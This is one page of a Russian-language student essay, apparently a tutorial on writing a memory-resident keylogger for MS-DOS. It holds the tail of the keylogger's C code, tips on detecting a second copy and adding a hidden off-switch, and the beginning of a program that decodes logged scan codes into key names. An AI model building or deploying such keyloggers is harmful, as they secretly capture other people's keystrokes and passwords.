Кейлоггер под MS-DOS
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: бесплатные рефераты на тему, шпоры по педагогике
| Добавил(а) на сайт: Юмашев.
Предыдущая страница реферата | 1 2 3 4 5 6 7 | Следующая страница реферата
keep(0, _SS+(_SP/16)-_psp); // Провозгласили себя резидентом
return 0;
}
Ну вот, осталось только объявить нужные переменные и дописать функцию записи в файл в обработчике newhdl_28() (и при необходимости добавить проверку занятости ДОС, как было описано выше). А в остальном прога готова. Если хочется сделать её ещё круче, то можно при старте добавить проверку того, не запущена ли она уже. Для этого есть много способов, но я рекомендую повеситься ещё на одно прерывание, и при обращении к нему обработчик (если он есть) вернёт нам в регистрах какой-нибудь свой идентификатор. Так мы удостоверимся, что он жив-здоров, а следовательно, и наш кейлоггер уже живёт где-то в памяти. Если обработчик не ответит, значит и кейлоггера нет. А при хитрой комбинации клавиш (например Ctrl+F12) можно добавить функцию отключения проги, если вдруг приспичет. Но это всё мелкие доработки, которые в любом случае не повлияют на процесс ведения статистики нажатых клавиш.
ЧАСТЬ 5. Читаем скэн-коды из логов
Представим, что кейлоггер дописан и работает. Он сохраняет скэн-коды нажатых клавиш в файл как простой ряд чисел, не производя шифрование. Теперь не плохо бы перевести этот файл в удобочитаемый вид. Для этого предлагается использовать отдельную программу, которая должна читать скэн-коды и переводить их в символы.
// LogRead.c (компилится в Borland C++ v3.1 и не только)
#include < stdio.h >
#define FILENAME "c:keys.dat"
FILE *in;
unsigned char scancode;
char str[128];
void convert(unsigned char scancode, char *str) // Функция преобразует скэн-код в строку с описанием символа
{
if(scancode>128)
{
sprintf(str, "[Released]");
scancode-=128;
}
else sprintf(str, "[Pressed]");
switch(scancode)
{
case 1: sprintf(str, "%s %s", str, "Escape"); break;
Рекомендуем скачать другие рефераты по теме: реферат на тему язык, реферат образ жизни.
Категории:
Предыдущая страница реферата | 1 2 3 4 5 6 7 | Следующая страница реферата